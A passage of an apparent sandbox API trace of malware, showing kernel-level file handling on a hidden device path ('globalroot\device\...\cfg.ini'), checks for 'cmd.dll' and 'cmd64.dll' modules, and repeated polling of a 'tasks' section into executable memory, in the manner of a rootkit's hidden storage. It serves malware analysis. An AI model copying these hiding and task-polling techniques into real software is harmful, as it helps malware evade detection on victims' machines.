FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.619] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.619] IdePortDispatch () returned 0x103 [0126.619] KeWaitForMutexObject () returned 0x0 [0126.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.620] KeLeaveCriticalRegion () [0126.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.620] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.620] KeEnterCriticalRegion () [0126.620] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.620] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fd000 [0126.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.620] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.620] IdePortDispatch () returned 0x103 [0126.620] KeWaitForMutexObject () returned 0x0 [0126.620] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.620] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.620] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.620] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.620] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.620] IdePortDispatch () returned 0x103 [0126.620] KeWaitForMutexObject () returned 0x0 [0126.620] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.620] KeLeaveCriticalRegion () [0126.620] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.621] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.621] KeEnterCriticalRegion () [0126.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.621] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.621] KeLeaveCriticalRegion () [0126.621] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.621] KeEnterCriticalRegion () [0126.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.621] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.621] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.621] KeLeaveCriticalRegion () [0126.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.621] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.621] KeEnterCriticalRegion () [0126.621] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.621] ExFreePoolWithTag (P=0xfffffa8003bf4bd0, Tag=0x0) [0126.621] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.621] KeLeaveCriticalRegion () [0126.621] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.621] ReleaseMutex (hMutex=0xf0) returned 1 [0126.621] Sleep (dwMilliseconds=0x927c0) [0126.629] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.629] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.640] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.641] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.641] KeEnterCriticalRegion () [0126.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.641] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.641] IdePortDispatch () returned 0x103 [0126.641] KeWaitForMutexObject () returned 0x0 [0126.641] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.641] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.641] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.641] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.641] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.641] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e09e0 [0126.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.641] KeLeaveCriticalRegion () [0126.641] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.641] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.641] KeEnterCriticalRegion () [0126.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.641] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.641] KeLeaveCriticalRegion () [0126.641] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.641] KeEnterCriticalRegion () [0126.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.641] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.641] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.641] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.641] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.641] IdePortDispatch () returned 0x103 [0126.641] KeWaitForMutexObject () returned 0x0 [0126.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.642] KeLeaveCriticalRegion () [0126.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.642] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.642] KeEnterCriticalRegion () [0126.642] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.642] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a2000 [0126.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.642] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.642] IdePortDispatch () returned 0x103 [0126.642] KeWaitForMutexObject () returned 0x0 [0126.642] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.642] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.642] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.642] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.642] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.642] IdePortDispatch () returned 0x103 [0126.642] KeWaitForMutexObject () returned 0x0 [0126.642] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.642] KeLeaveCriticalRegion () [0126.642] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.643] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.643] KeEnterCriticalRegion () [0126.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.643] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.643] KeLeaveCriticalRegion () [0126.643] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.643] KeEnterCriticalRegion () [0126.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.643] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.643] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0aa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.643] KeLeaveCriticalRegion () [0126.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.643] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.643] KeEnterCriticalRegion () [0126.643] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.643] ExFreePoolWithTag (P=0xfffffa80037e09e0, Tag=0x0) [0126.643] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.643] KeLeaveCriticalRegion () [0126.643] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.643] ReleaseMutex (hMutex=0xf0) returned 1 [0126.643] Sleep (dwMilliseconds=0x927c0) [0126.658] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.658] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.658] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.658] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.658] KeEnterCriticalRegion () [0126.658] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.658] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.658] IdePortDispatch () returned 0x103 [0126.658] KeWaitForMutexObject () returned 0x0 [0126.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.658] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.658] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.658] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.658] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.658] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee300 [0126.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.658] KeLeaveCriticalRegion () [0126.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.658] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.659] KeEnterCriticalRegion () [0126.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.659] KeLeaveCriticalRegion () [0126.659] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.659] KeEnterCriticalRegion () [0126.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.659] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.659] IdePortDispatch () returned 0x103 [0126.659] KeWaitForMutexObject () returned 0x0 [0126.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.659] KeLeaveCriticalRegion () [0126.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.659] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.659] KeEnterCriticalRegion () [0126.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.659] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035a7000 [0126.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.659] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.659] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.659] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.659] IdePortDispatch () returned 0x103 [0126.659] KeWaitForMutexObject () returned 0x0 [0126.659] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.659] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.660] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.660] IdePortDispatch () returned 0x103 [0126.660] KeWaitForMutexObject () returned 0x0 [0126.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.660] KeLeaveCriticalRegion () [0126.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.660] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.660] KeEnterCriticalRegion () [0126.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.660] KeLeaveCriticalRegion () [0126.660] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.660] KeEnterCriticalRegion () [0126.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.660] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.660] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.661] KeLeaveCriticalRegion () [0126.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.661] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.661] KeEnterCriticalRegion () [0126.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.661] ExFreePoolWithTag (P=0xfffffa8003bee300, Tag=0x0) [0126.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.661] KeLeaveCriticalRegion () [0126.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.661] ReleaseMutex (hMutex=0xf0) returned 1 [0126.661] Sleep (dwMilliseconds=0x927c0) [0126.676] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.676] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.676] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.676] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.676] KeEnterCriticalRegion () [0126.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.676] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.676] IdePortDispatch () returned 0x103 [0126.676] KeWaitForMutexObject () returned 0x0 [0126.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.676] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.676] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.676] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.676] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.676] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac63b0 [0126.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.676] KeLeaveCriticalRegion () [0126.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.677] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.677] KeEnterCriticalRegion () [0126.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.677] KeLeaveCriticalRegion () [0126.677] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.677] KeEnterCriticalRegion () [0126.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.677] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.677] IdePortDispatch () returned 0x103 [0126.677] KeWaitForMutexObject () returned 0x0 [0126.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.677] KeLeaveCriticalRegion () [0126.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.677] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.677] KeEnterCriticalRegion () [0126.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ac000 [0126.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.677] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.677] IdePortDispatch () returned 0x103 [0126.677] KeWaitForMutexObject () returned 0x0 [0126.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) 